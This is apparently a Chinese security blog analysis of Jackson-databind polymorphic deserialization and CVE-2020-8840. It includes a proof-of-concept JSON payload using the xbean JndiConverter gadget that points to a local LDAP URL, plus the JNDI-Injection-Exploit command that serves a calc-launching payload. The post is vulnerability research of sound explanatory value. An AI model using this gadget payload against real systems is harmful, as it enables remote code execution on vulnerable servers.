0x00 前言
前面讲了FastJson的相关漏洞,温少属实辛苦。这次来看下另一种JSON解析库:“世界上最好的JSON解析库—Jackson”,并以CVE-2020-8840来详细分析下Jackson的漏洞。
0x01 Jackson的介绍和使用
FastJson将思路全都集中到“速度快”上去,而偏离了“标准”及功能性,质量也不够好,有点“舍本逐末”的味道。而Jackson不仅开源稳定易使用,而且拥有Spring生态加持,更受使用者的青睐。
目前Jackson主要有两个分支:
- 1.x分支,处于维护模式
- 2.x是正在开发的版本
Jackson由三个核心部分组成:
- jackson-core:核心包,提供基于流模式API
- jackson-annotations:注解包,提供标准注解功能
- jackson-databind:数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API
JacksonPolymorphicDeserialization
JacksonPolymorphicDeserialization意为Jackson多态类型处理功能,有两种方式:
- Global default typing
- Per-class annotations
Global default typing配置哪些类被序列化:
- JAVA_LANG_OBJECT:仅影响Object.class类型的属性
- OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口)PS:无参时默认为此项
- NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有数组类型都相同(直接元素是非具体类型或Object.class)
- NON_FINAL:影响所有未声明为“final”的类型,以及非final元素类型的数组类型
Per-class annotations
除了Global default typing,还可以利用@JsonTypeInfo注解来控制序列化和反序列化。
@JsonTypeInfo一共支持五种注解:
- @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
- @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
- @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
- @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
- @JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)
Jackson的栗子
以默认OBJECT_AND_NON_CONCRETE为例演示一下它的功能:
package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Me = new People();
Me.age = 20;
Me.object = new patrilic();
Me.name = new MyName();
Me.name.setName("lceCre4m");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = mapper.writeValueAsString(Me);
System.out.println("序列化");
System.out.print(json);
System.out.println("\n");
People Mee = mapper.readValue(json, People.class);
System.out.println("反序列化");
System.out.println(Mee);
}
}
class People {
public int age;
public Name name;
public Object object;
@Override
public String toString() {
return String.format("age = %d, object = %s, name = %s", age, object, name);
}
}
class patrilic {
public int length = 100;
}
class MyName implements Name {
String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
interface Name {
public void setName(String name);
public String getName();
}
此时正常输出:
序列化
{"age":20,"name":["com.jackson.MyName",{"name":"lceCre4m"}],"object":["com.jackson.patrilic",{"length":100}]}
反序列化
age = 20, object = com.jackson.patrilic@4cf777e8, name = com.jackson.MyName@2f686d1f
若使用JAVA_LANG_OBJECT,在反序列化时会报错,因为例子中存在非具体类型。
0x02 Jackson漏洞简述
Jackson的漏洞主要集中在jackson-databind中,当启用Global default typing,类似于FastJson的autoType,会存在各种各样的反序列化绕过类,而官方更新的防护措施一般都是将新出现的恶意类加入黑名单,不过这种方式治标不治本,最近jackson-databind的绕过出现不少。
下面仅以xbean-reflect类(影响2.0.0 – 2.9.10.2)为例,详细分析下Jackson的反序列化漏洞。
0x03 Jackson漏洞详细分析
环境搭建
环境:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar + IDEA
首先创建好项目后添加相关依赖,之后创建poc.java:
//poc.java
package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class poc {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
mapper.readValue(json, Object.class);
}
}
然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建ldap环境:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
启动后触发payload
动态分析
首先在 mapper.readValue(json, Object.class)下断点,进行调试
单步步入_readMapAndClose(),读取JSON,配置DeserializationContext后,到达else段
然后继续步入到BeanDeserializer.class#deserialize(),步入vanillaDeserialize()
在vanillaDeserialize()里调用了createUsingDefault(),里面通过call()创建实例
返回vanillaDeserialize()后,调用了deserializeAndSet()
可以看到获取value值后,调用了_setter.invoke(instance, value)
步入后,通过传进的text触发,继续步入toObject()
在toObject()调用JndiConverter重写的toObjectImp()
进入恶意类,出现lookup(),JNDI注入,其中text可控,为我们传入的参数
完整调用如下:
最新版的黑名单:
。。。太长了
0x04 结语
这次继FastJson后分析了Jackson的一个漏洞,其他的Jackson-databind漏洞利用也类似,基本就是换个外部类,修复就是加入黑名单。之后分析一下java的gadget,像是Commons Collections、RMI、JNDI等等。